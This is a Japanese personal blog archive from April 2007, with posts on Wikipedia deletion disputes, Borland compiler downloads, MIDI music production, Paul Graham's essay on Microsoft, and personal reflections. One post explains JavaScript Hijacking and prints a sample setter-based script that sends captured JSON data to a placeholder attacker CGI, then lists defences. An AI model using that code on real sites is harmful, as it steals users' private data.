Wikipedia は、大人気ない大人たちによって成り立っています。 ― 2007年04月02日 09時47分28秒
以下、突っ込み。
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おいらにはそもそも Wikipedia の存在意義がよくわからんです。ここに群がっている人たちは遊びたいのですか? それとも「真面目な」百科事典を作りたいのですか?
ノートや削除依頼ページを見ていると、
あなたがたのおもちゃじゃない
だのエイプリルフールにしか更新されないサイトの内容を単独項目にするという必然性は低く
だのと、まるで社会正義や公共性を重んずる声が多いが、一方でアニメや漫画などのサブカルチャーやアイドル・声優を取り上げた記事も多く、そればかりか珍項目にカテゴライズされるようなしょーもない項目もひじょーに多い。遊び場としても充実しているという事実が Wikipedia の特色・魅力の一つになっているのだとおいらは認識していたんだけど、そうじゃないの?内・外房線、総武本線、成田線等の駅舎を回って写真を撮りまくっては Wikipedia に up してる人を知ってるけどw、めちゃめちゃ楽しんでやってましたよ。実際それが、閲覧者にとって役に立つ情報なのかどうかはおいらは知らない。でも、どっちにしたって、楽しんで貢献する土壌を育むことが、こうしたサイトを運営してゆく上で大切なことなのだと思うのだけど、今回の Wikipedian の反応からはそういう姿勢を汲み取れるものといえるのかしら?
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そもそも、ある情報が必要か不必要かの判断は、その情報に接する個人の価値観に依存するのでは? 「必要が無いから削除すべき」という意見は、その情報を必要とする個人の存在を否定する。Wikipedia の運営に加担し、協力しているという自負があるならば、尚更そのような発言は慎むべきでは?
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記事の内容がまずいという意見には賛成。著作権がどうこうという話もあるが、「Firefoxレッサーパンダ事件」は編集部内での出来事としてジョーク記事のネタ元に書かれていた内容をまんま引っ張ってきただけであり、そもそもの事実関係としての信憑性が薄い。この事件が事実であると信じるならばそのソースを明らかにすべきでは? つか、そもそも「窓の社」を語る上で、この事件は本当に切っても切り離せないものなのか? つか、セクション名の「To LOVEる」とか、意味不明。
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ネタとしても無粋だ。タイミングも悪い。
あのネタは実際のページが存在しないことに意義があるはずです。存在しないからジョークだと気づき、それを楽しむのが目的。
とした Shooting Star 氏の見解には賛同。何より微妙に似せちゃってるのが良くない。間の悪いオヤヂといわれても仕方が無い。dankogai 氏のギャグのセンスを疑う。 -
dankogai 氏はブログ記事中で
記事の品質が低いというのであれば存分に直してもらって構わない
としているが、実際の記事を見たおいらの感想としては、その態度は無責任すぎるんじゃないの? というものだ。せめて書き始めた記事の編集の方針ぐらいは見せるべきでは? おいらはさっき、「楽しんで貢献する土壌を育むことが、こうしたサイトを運営してゆく上で大切なことなのだと思う」って書いたけど、それは新たに項目を追加する書き手にとっても意識すべきことだとは思うよ。とりあえず項目を追加してみた。でも、面白いネタが思いつかないから、こっから先は他のみんなで編集してね、というのは、ナシとは言わないけど、そこから先を思いつく人が誰もいなくて、結果として内容の薄いゴミみたいな記事が残るぐらいなら消しちゃおうか、という話になってしまうのだとしたら、それは仕方の無いことなんじゃないの?
項目を消したくないってことは、そこに書きたい事があるってことの意思表示なんだから、周囲が納得するぐらいには責任もって内容を充実させるべきなのでは?
明日こそ ― 2007年04月02日 21時53分44秒
HDD 換装します。いろいろと停滞予定。。。
Borland C Builder Compiler and Command Line Tools ― 2007年04月04日 18時08分43秒
Borland の開発ツール製品群が CodeGear ブランドに移行した関係で、無料配布されていた C++ Compiler (BCC32) と Turbo Debugger が行方不明になっていたのですが、ちゃんと配布されているっぽいのでメモっときまふ。
- 配布ページはここ。
Compiler
ってのが BCC32 で、Turbo Debugger
ってのがデバッガ。Borland Developer Studio の体験版も配布してるっぽい。 - 各リンクをクリックすると、アカウントログインを促すページが表示される。アカウントをまだ持ってない人は、
create account
をクリックしてアカウント作成画面へ。アカウントは無料だけど、個人情報をいろいろと書かないといけないっぽい (しかもエーゴで)。 - アカウントログイン後もいろいろと質問される。適当に選択して
submit
をクリックすればダウンロード開始。
。。。つー感じで、ダウンロードがなかなか始まらんので暇つぶしに書いているわけだけれども、まだ始まらんなぁ。。。何なんだこの重さは。。。
JavaScript Hijacking への対策 ― 2007年04月05日 00時51分11秒
- Fortify、Ajaxのセキュリティ問題に警鐘 (スラッシュドット ジャパン)
Gmail で発見された時点で知っとけ>ヲレ、って感じですが。。。今ちょうどこの辺取り掛かろうとしていたところなのでメモ。
原理としては、そのまんま eval
する前提で生 JSON を吐き出す CGI を作ってしまうと、Setter を利用したマリシャスコードを設置した悪意あるサイトへ誘導することによって、JSON による通信内容を横取りできちゃうかもしれないよ、というもの。マリシャスコードのコード例は、たとえば以下のような感じかしら? (とか言いながら、試してないのでもしかしたら動かないかも知れんが。。。つか、setter =
式だからこそ書けちゃうものなのかなぁ?)
<script> Object.__defineSetter__("email", function(x) { var objstr = ""; for (fld in this){ objstr += fld + ": " + this[fld] + ", "; } objstr += "email: " + x; var req = new XMLHttpRequest; req.open("POST", "http://(攻撃者が情報を収集するために設置した CGI へのパス)"); req.send("obj=" + escape(objstr)); }); </script> <script src="http://(生 JSON を吐き出す CGI へのパス)"></script>
このコード例だと、JSON に email
というフィールドが存在すると、スーパークラスである Object
に設定されたセッタ email
が実行されて、JSON の内容が攻撃者のサーバーに送信されてしまう、という仕組み。
で、これを防ぐための手立てとして、以下が提案されている、と。
- サーバー側で Referer チェックを行う (非推奨: Referer を送信したくないユーザーの要求にこたえられなくなる可能性)。
- POST メソッドによる要求時のみ、JSON によるデータを送出するようにする。
<script>
タグを利用した読み込みは必ず GET メソッドになるため、この方法は有効。 - JSON にゴミを加えることによって、そのままではスクリプトとして実行できないようにする。例えば、先頭に
while(1);
を付け加えたり、全体を/*
~*/
で括ったりする。正規のクライアントスクリプトではこれらのゴミを取り除いてからeval
することによってオブジェクトを生成するが、マリシャスコードではゴミを取り除くことができないため、この方法は有効。 - そもそも JSON を使わない。
他に、「盲目のクライアント」なる手法が紹介されていましたが、有効性がいまいち理解できなかったので自粛。。。誰かフォローをお願いします m(_ _;)m 。
シリーズ◇音楽について思うこと。 ― 2007年04月08日 15時03分12秒
なんだか最近ブログを書くことに対して意欲が沸きにくくなってきたような気がするので、ここでひとつ、テーマを決めて、そのテーマに見合ったお題をあらかじめ用意しておいて、シリーズ化して集中的に記事を上げていく、ってことをやろうかと思う。といっても、それで更新頻度が上がるわけでもないし、シリーズ外の記事を一切書かないわけでもないし、期間を設定するわけでもないんだけれども。
そんなわけで、テーマは「音楽」。お題は思いついたものを随時以下に列挙して、記事を上げ次第リンクしていく予定。。。
- 生っぽさを演出しようとすることが返って素人っぽさを醸し出す原因になってしまうようなジレンマ
MIDI を用いた DTM でアコースティックな楽曲を作成しようとする際に生じる「より生演奏っぽいサウンドを作りたい」という欲求を果たすべく行われる試みについて思うこと。
- いい音って、何だろう?
生楽器で演奏する場合と電子音楽とでは、音に対する価値観がまるで違うんではないかというお話。にするつもり。いや、もしかしたらもうちょっとネガティブな話になるかも。
- MIDI の何が気に入らんのか?
結局 MIDI って、鍵盤楽器のことしか考えとらんやん、っちゅーお話。
- 優劣と好みの問題
音楽作品の良し悪しの基準は聴き手個人の価値観の問題であって、音楽自体に絶対的な優劣があるわけではないとする考え方がある。それはどこまで真実なのか? 思うところについてつらつらと。
シリーズ◇音楽: 生っぽさを演出しようとすることが返って素人っぽさを醸し出す原因になってしまうようなジレンマ ― 2007年04月09日 21時51分15秒
初っ端から長ったらしいサブジェクトで申し訳ない。w
まずはおいらの DTM 遍歴をまず書いておこうと思う。
- 高校入学祝として、FM-TOWNS II HR-20 (以下、うんず) を購入。MIDI 環境は購入せず (そもそも当時は MIDI なんて知らんかった)、内臓音源は FM 6和音、20kHz PCM 8和音という構成。
- F-BASIC386 を持っていたが、こいつの MML 再生機能はあまり使わなかった。TownsGEAR というオーサリング開発ツールのメロディー部品が提供する、FM 音源のみ・8小節までという環境で地味に曲を作って遊んだりした (当時のデータが見当たらんのよね。。。T-T/)。
- 高校 2年のとき、「MUSIC PRO for TOWNS」というノーテーションソフト (自称「楽譜ワープロ」) を購入。フル内臓音源での音楽製作環境を構築。次いで「MIXING PRO for TOWNS」を購入。ピッチベンドとかのパラメタをマウス操作でリアルタイムにいじれるというスグレモノ。すげー使いにくかったけどそれなりに感動した。
- 高校 3年のとき、TAROPYON 氏作の MML コンパイラ「HE386」をなんとか入手(「フリーソフトウェアコレクション6」に収録されていたんだけど、当時すでに絶版だったのよ。某 Miyashi 氏が持ってたのを借りて頂きますた。高卒後、フリコレ自体が終焉しちゃった後になって、今は亡き富士通ショールーム in アキバでふつーに売られてたから速攻で買ったけど。)。以降、音楽製作環境を完全に MML に移行。パラメタ操作の関数展開ができたりしてかなり強力だった。
- 高卒後、「FMT-403A」を購入。SC-55 相当の音源チップを搭載した MIDI-IF 。以降、MIDI と内臓音源とで平行して音楽製作を行う。MIDI では当初、MIDI 向けの MML コンパイラ「HE386 for MIDI」を使用していたが、どうにも MIDI で MML は無理があるような気がしたので (いまいちパフォーマンスが上がらなかった)、その年の冬ぐらいになって楽譜ベースのシーケンサーソフト「奏 -KANADE-」を購入。それほど緻密で細かい編集ができるわけではなかったが、それなりに強力だったし、割と使えるいいソフトだった。
- 大学 3年のとき、YAMAHA の携帯用シーケンサー「QY-70」を中古で購入。この頃から狂ったように音源などの機材を買いあさるようになるが、ちっとも活用されないまま現在に至っている (QY-70 はそれなりに使ってました)。
- 社会人 1年生のとき、某飯田橋での激務によるストレスからの衝動買いで、KORG の「TRITON pro」を購入。ワークステーションキーボード上でのシーケンスはそれなりに期待していたんだが、ちっとも使い物にならんかった。最近弾いてないなぁ。。。
ちなみに社会人になってからは作曲活動はほとんどやってません。知識も MIDI で止まっちゃってます。某氏が使ってる ACID とか、面白そうだとは思うんだけどね。あるいは奇怪なソフトシンセ類とか。。。
さて、前置きはこのくらいにして。上記遍歴を見ていただければわかるとおり、おいらはあまり緻密なことができる高性能のシーケンサーソフトを使っていたことがありません。例えば、基本的に数値のみで楽曲作成を行う「レコンポーザ」や、ピアノロールなどの柔軟な編集機能を備えた Roland の「Cakewalk」(後の「SONAR」?) などなど。そもそも Windows 上で音楽製作環境をまともに構築したことはないし、Machintosh に至っては所有したことすらありません。実はピアノロールは「奏 -KANADE-」も備えていて、発音/消音のタイミングやベロシティなどをある程度緻密に扱うことは可能でしたが、それでも楽譜ベースであったため、どうしても譜面上の「音符」という概念による呪縛がありました。後に主流となってゆく多くの高性能シーケンサーソフトはこうした呪縛がなく、音楽的な論理に対してより自由であったと言えるように思います。
Cakewalk を使っていたとある友人と、作曲活動を通じて交流していたことがありました。彼の Cakewalk での製作を見ていて思ったのは、とにかく「効率が悪いな」ということでした。彼は基本的に、いわゆる電子音楽的な楽曲ではなく、生演奏的な楽曲への志向が強く、そのスタンスにはおいらも共感するものがありました。しかし、おいらも彼もキーボードの演奏に自信があったわけではなく、また、当時はリアルタイム入力を行うための十分な機材も揃っていませんでした (せいぜいおいらの手元に貧弱な MIDI キーボードが転がっていたくらい)。そこで彼が取ったアプローチは、ピアノロール上に基本となるメロディーなどの音を散りばめ、それらの発音/消音のタイミングやベロシティをマウス操作で微妙にずらす、というものでした。
正直に言えば、そのころはおいらも (そしておそらく彼も)、それ以外のアプローチで「生っぽさ」を表現する手立てが思いつきませんでした。このアプローチのキモは、ただ単に「不揃いにすればよい」というわけではなく、何度も何度も再生し直しながら、自分の耳で納得のいくまで調整を繰り返す、ということです。しかし、最初のうちはどうしても、機械的な単調さへの反発から、「不揃いにすることの重要性」という、半ば誤った概念に囚われていたのも、事実でした。
インターネットが少しずつ使われるようになっていた頃のことです。「ミュージ郎」や「HELLO! MUSIC!」が幅を利かせ、Web 上でも少しずつ SMF による楽曲データが配布されるようになり、DTM Magazine や Computer Music Magazine が GM を中心にがんばっていた、そんな時代でした。「よくできている」とされる楽曲データであっても、打ち込みのものは、聴いてみるとどうしても不自然さの拭えないものが多かった。「とにかく単調になってはいけない」といった半ば教条的な固定観念が、メロディにむちゃくちゃな強弱を散りばめさせる。その結果、力を入れるところじゃない箇所でアクセントが入ったり、大事な音が小さすぎてちっとも聞こえなかったり、ということが多かった。
後に、一部の MML コンパイラにおいて、ベロシティを無作為に揺らす乱数機能を搭載したものが存在することを知りました。確かにリーズナブルな方法だとは思ったものの、音楽的な経験の浅い人はこれを過信してしまいそうだな、とも思いました。先ほども書いたとおり、単に「不揃いにすればよい」というわけではないのです。
生っぽさを演出する要素はさまざまにあります。おいらが思いつく程度の範囲でも、軽く列挙すれば以下のとおりになります。
- 演奏者個人の癖
リズム感ひとつとっても、十人十色です。基本的に前のめりになりがちな人、遅れがちな人。裏拍が遅れちゃう人、表拍が大きくなっちゃう人。短い音符が連続すると加速しちゃう人、逆に遅れがちになって次の小節で無理やり帳尻を合わせちゃう人。そういう個性を、下手糞だと思われない程度にパートごとに盛り込んでみるのは、面白い試みです。
- 楽器に固有のハンディキャップ
ピアノの和音とは違って、ギターの和音は常にグリッサンド気味になります (但しミュートは同時)。ギターの場合はコードが変わるときだけ一瞬ミュートになってしまったりノイズが入ってしまったり開放和音が混じってしまったりするとよりおいしかったりします (おいらにはそこまで作りこむのは無理w)。管楽器はスペシャリスト級ノンブレスソロアドリブなアルトサックスを作りこみたいわけでもない限り、息継ぎをどこかでとる必要があります。
ピアノの和音も完全にすべての音が同じタイミング・ベロシティとなるわけではありませんが、だからといってすべての音をただ単に無作為にばらばらにすればいいというわけではありません。例えば、片手で引く和音の音域が広ければ広いほど、力の弱い小指で抑える鍵盤の音は弱く、そして早く離れがちです。
- 曲調、グルーヴ
ジャズのスイングは完全な 3連符では必ずしもありません。軽快な曲調では 3:7 ぐらいとか、ゆったりとした曲調では 6:4 からほぼ半々とか、逆にすごく速いテンポの曲でもスイング感がほとんどなかったりなど、目安はあるものの曲中でも流動的だったりとか、結構あやふやです。強弱も、基本は裏拍が強めですが、曲によってはハイハットにだけ裏拍を任せて、ブラスは表拍を強調してわざとリズムを転ばせたほうが、軽快さを演出できていい場合もあります。なにしろ気分次第、という面もあります。実は打ち込みにしてしまうと最もおいしさを失ってしまうのがジャズの類だったりします。
クラシックの場合なんかは、生っぽさに気を使うより、楽譜に記述された指示記号に気を使ったほうが、よっぽどいい演奏になったりもします。抽象的とはいえ、楽譜の情報量は、馬鹿にできません。
- 発音のタイミング
いわゆる「物理打点」と「心理打点」というやつです。発音の遅い楽器は、発音の早い楽器よりも早いタイミングで音を鳴らし始める必要があります。実際、吹奏楽なんかでは、発音の遅い低音金管楽器奏者やコンサート・バスドラム奏者は、無意識のうちに少し早めのタイミングでブレスし演奏しています。この感覚は、実際の楽器で演奏する場合とは感覚の乖離したキーボードではなかなかうまく演奏できないため、キーボード演奏がうまい人によるリアルタイム入力に対して、唯一打ち込みが勝るポイントであるとも言えます。
ちなみにおいらは、上記で書いたようなことを意識しながら打ち込みを入念に行ったことは、ありませんw。多分、こんなことにいちいち気を使いながら曲を書いていたら、最初の 2、3 小節ぐらいで投げ出しちゃうんではないかと思います。
苦労の割には効果が期待できないという面もあります。演奏方法ばかりをリアルに近づけたところで、肝心の楽器の音色がしょぼかったり、そもそも MIDI という概念自体に限界があったりして、あまり意味を感じないということが多いのです。反面、音楽的なセオリー、アプローチをちょっと気遣うだけで、それなりにそれっぽい演奏になったりもします。
要は、感覚的なセマンティクスを直感させるために必要な表現を怠ってまで、演奏面のリアルさを追求することに、あまり意味はないんじゃないか、ということです。ここで、「論理的な」とは書かないであえて「感覚的な」と書いているのは、論理に頼ってしまうと感性が固着してしまって、個性が損なわれるからです。
上記で書いたようなことは、ツールが良しなにやってくれると、ありがたいんだがなぁ、なんて思ったりもしています。いつか作っちゃる。w
Microsoft が「気にならない存在」になってしまっている件 ― 2007年04月10日 13時23分13秒
- Microsoftを殺したのは誰? (スラッシュドット ジャパン)
- マイクロソフトは死んだ (原文: Microsoft is Dead / Paul Graham / yomoyomo さま訳)
邦訳を読んだ後で /. での反応を見ると、いまどきここに集まってくるのは文盲か、あるいは昔を懐かしむことしかできないじじぃばかりなのか、と思えてしまう。そういう意味ではサプライズだった。マジびっくりした。
「死んだ」という表現が誤解を招いている、という意見が多いようだが、例えこれを「脅威ではなくなった」と読み替えたとしても、いまいち何のことを言っているのだかよくわからないという人は多いように思う。この辺のコメントがモデレーションで支持されているのを見るにつけ、つくづくそう思う。
その背景には、少なくともこの国では、今後、多くのアプリケーションが特定の OS のアーキテクチャ上で動作するスタンドアロンソフトウェアから Web サービスへ移行してゆくであろうという実感も危機感も非常に小さい、ということが挙げられるんじゃないかと思う。なんだかんだ言って、たいていの主要なアプリは Windows 上で動いているし、「それで十分だ」と思っている。MS-Office を捨てて OOo や Google Docs を利用する「理由がない」し、Windows を捨てて Mac OS X や Linux を選択する理由もない。
しかし、Paul Graham はそもそもそんな趣旨のことは一言も言っていない。君たちは以下のセンテンスを理解することもできないのか?
マイクロソフトは80年代後半からおよそ20年にわたり、ソフトウェアの世界に影を落してきた。マイクロソフトの前には IBM がそうだったと言える。私はこの影をほとんど無視した。私はマイクロソフトのソフトウェアを決して使わなかったので、間接的にしか影響を受けなかった――例えば、ボットネットからスパムをもらうとか。つまり私はマイクロソフトに注意を払ってなかったので、その影が消え失せたのに気づかなかったのだ。
Microsoft のソフトウェアを使わずにいた Paul Graham にとって、そもそも Microsoft による脅威は間接的
なものでしかなかったのだ。逆に言えば、Microsoft の脅威にさらされるべき人間とは、すなわち Microsoft のソフトウェアに依存する生活を送っている人間のことである。
例えば、Windows ユーザーは、Windows に脆弱性があれば、その脆弱性をつく攻撃の脅威にさらされる。もちろんそれは、Windows じゃなくても同じことだが、一方で、そのユーザーにとって Windows 以外の選択肢がありえないのだとしたらどうか? 例えば Windows でしか稼動しないアプリケーションをどうしても使う必要があるならば、彼は Windows に脆弱性があることを知りながら、それでもなお、Windows を使い続けなければならない。
Windows はかつて、独占的な地位を保ち続けてきた。この状況は、少なくとも日本国内の事務処理シーンを見る限りにおいてはあんまり変わっていないようにも見える。しかし一方で、Windows 以外の、あるいは Office 以外の、IE 以外の選択肢が、さまざまに誕生した。Mac OS X が Microsoft を殺した要因のひとつとして数えられているのは、シェアの問題ではなく、Office が稼動し、他の多くの似たようなアプリケーションが稼動し、もちろん Web ブラウザも稼動し、UI もユーザーフレンドリーで、なおかつ UNIX ベースであることから開発者層も取り込んだ、といったことから、多くの人間にとって 「Windows 以外の選択肢」たりうる要件を備えているからなのではないのか?
つまり、実用面で言えば、PC の世界において Windows は多くの人々にとって「唯一の選択肢」であった状況が、崩れてきているということだ。
この状況は、アプリケーションの稼動領域が特定の OS のアーキテクチャから Web へと移行してゆく流れが追い討ちをかけている。Gmail は Outlook の領分を侵食し、Google Docs は将来的には Office の領分を侵食するかもしれない。もちろん、現在 Web でできていることが、デスクトップでできていることのすべてを侵食しているわけではないし、この点について実感がわきにくいのも無理はない。しかし、少なくともシリコンバレーに存在する多くの先鋭的な企業・技術者は、特定の OS アーキテクチャで稼動するアプリケーションを作ることへの関心を失っており、とっくの昔に Web へとその矛先を転換している。
そういう状況で、かつての Microsoft のような、独占的な地位による脅威を持ちうる企業があるとしたら、それは Google かもしれない、というのは納得できる。何故か。
API への依存だ。
もしも今後、多くの企業が Google の提供する多くのサービスや API へ依存してゆくことになれば、それらの仕様は Google の気分次第でどうとでもされてしまうことの危険性に晒されなければならないことになるだろう。
もっとも、個人的には、Google が脅威となる可能性については、あまり心配していなかったりする。インターネットがインターネット足りうる以上、インフラのすべてが Google のみに集約するということは考えにくいし、すでにインフラを持っている企業であれば、いくらでも Google が提供するサービスの代替を提供できるだろうし、Google とはまったく関係のないサービスも、いくらでも出てくるだろうと思う。かつて Windows という OS の上でシステムを組まなければならなかった時代に比べれば、Web への参入障壁は、決して高くはないのだから。
おいらは臆病者で、卑怯者です。 ― 2007年04月10日 16時40分51秒
もしも僕がこの地球上に存在する全ての汚点から目をそらし、それら全てを存在せぬものとして扱ったならば、世界もまた同じように僕の汚点から目をそらし、存在せぬものとして扱ってくれるだろう。
それが都合が良いものである事は確かだ。それが居心地の良い生き良い世界であるのは紛れも無い事実である。けれども、そのようなものを僕は決して受け入れはしないのである。
汚さを汚さとして、醜さを醜さとして扱い、全身全霊を注ぎ込み全てを尽くしてその汚さ醜さを語らねば、美しさがが美しさとして全身全霊を注ぎ込み死力を尽くして認められる日は来ないのである。
強いね。おいらには無理です。自らの汚点を許さないまま、それを明らかにしつつ他者と泥を投げあうような生き方は、おいらにはできません。
あなたは人間の汚点を、軽く見すぎてはいませんか? 自分一人が苦しめば、それで済むと思っていませんか?
おいらがおいらの汚点をさらけ出すということは、場合によっては、おいらにこれまで関わってきた、いくらかの大切な人の汚点を晒し、貶めることでもあります。そうでなければ、そうでないことがわかっているのであれば、おいらはいくらでもおいら自身の汚点をさらけ出しましょう。
でも、おいらがおいらの絶対に晒したくない汚点を暴かれ、糾弾されても、真意に向き合い、人として、一人の人間として、まともに対処
することなんて、できっこないでしょうね。そういう汚点は、弁明しようにも、弁明のしようがないのです。言い訳にしかならないから。自分で到底許せないようなことを、他人に弁明できるわけがない。
そして、そもそも弁明する気にもならないでしょう。事実を間近で見ていた当事者であるわけでもない人間に。それはすなわち、他人でしかない、歩み寄ってくるわけでもない人間に、心を開けということです。もしも、おいらのコメント欄にコメントを寄せるコミュニティーが、おいらが彼らに完全に心を開くことを求めるならば、おいらはそんなコミュニティーは徹底的に無視し、あるいは逃げるでしょう。誠意なんて糞喰らえだ。何を言ったって到底納得するわけがないとわかってる連中に、何を弁明しろというのか。
オウム信者であったことが暴露されたときの松永氏の行動を見て、おいらは痛々しさを感じずにはいられなかった。彼がどんな出来事に触れて生きてきたかなんて、直近で見ていたわけでもないおいらには到底わからない。だから彼の苦悩なんて、想像することすらできない。でも、触れてほしくない過去であったということは、彼のその後の行動を見ていれば痛いほど感じることはできた。オウムという教団に深いところで関わってしまったことに対する自身への悔恨を、見て取れた。やめておけばいいのに彼は、周囲を納得させるために、自身の過去を整理しながら明かすということに時間を費やした。体を壊したことがこの件と無関係であったとも到底思えない。それでも一部の人たちは「俺が納得するまで説明しろ」と繰り返した。それこそ政治家やジャーナリストであるならば話は別だが、プライベートに踏み込むようなことについて、これ以上何をどう語れというのか?
結局、自らの汚点は、可能な限り「許す」しかないのだ。でも、あまりにも大きく、強く自身の心中に染み付き、深く根を下ろした汚物を、そうそう簡単に「許せる」人はいるだろうか? 許せないからこそ、人はそうした自身の過去から目を背けるのではないのか? 見せたい自分を見せようと、自身を着飾るのではないのか?
ましてや馴れ合いを求めるわけでもない人間が、他人の汚点にしか見えない事柄について、己の深層に深くしまいこんでおきたい事柄について、軽々しく触れるべきではない。触れる当人は触れるだけの強い覚悟を自身に課しているつもりかもしれないが、大抵の場合ははっきり言って軽いよ。そもそも他人を糾弾できてしまう時点でもうどうしようもなく軽い。その青臭さに反吐が出る。ズタズタに引っ掻き回してやりたくなる。
そもそもが論点ずれまくっちゃってるのよね。おいらが敢えて梅田望夫の代わりにこの記事に対して返事を言うならば、「うん、そうだよ。それが?」ってところかしら?
もとより梅田望夫は「(人や物事を) 褒める」という行為を、(自身の) 直感を研ぎ澄ますために利用しろと言っているのであって、眼目がコミュニケーションにあるわけじゃない。重点は褒めるべき箇所を見つけることであって、それを表明することはおまけに過ぎない。でも、そのおまけの部分をやらずに、逆のことをする人ばかりがあまりにも幅を利かせすぎているから、良きを見つけることの有効性に気づくことのできない人間ばかりになってしまう。梅田望夫が危惧していることがあるとすれば、そういうことなんじゃないのか?
自身の優越性を誇示したいがための好評の表明なんてのは、この人にしてみれば「褒める」ってことには含まれないんだよ。そんな下らん権力ごっこに時間をつぶすぐらいなら、今、自分がちっとも良いとは思えないものを、なぜ評価する人間がいるのかってことを研究するのに時間を割いたらどうだ? そうしたことを繰り返すことで、自分は何を好み、何に時間を費やすことが生きがいとなりうるのかについて真剣に考えたらどうだ? 彼が言わんとする「褒める」ってのは、まさにそういうことを言うんじゃないのか?
素晴らしい投球であった。 ― 2007年04月12日 10時32分39秒
ぎゃ~~~~~~~~っ!!! ― 2007年04月13日 03時07分23秒
シムシティDS (エレクトロニック・アーツ)
←これやってたらいつの間にやらこんな時間になってもうた。。。(x_x;)/
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